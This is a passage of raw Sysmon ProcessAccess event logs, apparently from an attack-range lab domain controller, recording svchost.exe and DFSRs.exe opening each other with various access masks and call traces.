C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1716,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1717,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nSourceProcessId: 2564\r\nSourceThreadId: 3332\r\nSourceImage: C:\\Windows\\system32\\DFSRs.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\wmidcom.dll+58a6|C:\\Windows\\system32\\wmidcom.dll+5464|C:\\Windows\\system32\\wmidcom.dll+5495|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","SourceProcessId":"2564","SourceThreadId":"3332","SourceImage":"C:\\Windows\\system32\\DFSRs.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\wmidcom.dll+58a6|C:\\Windows\\system32\\wmidcom.dll+5464|C:\\Windows\\system32\\wmidcom.dll+5495|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1718,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1719,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1720,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1721,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1722,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 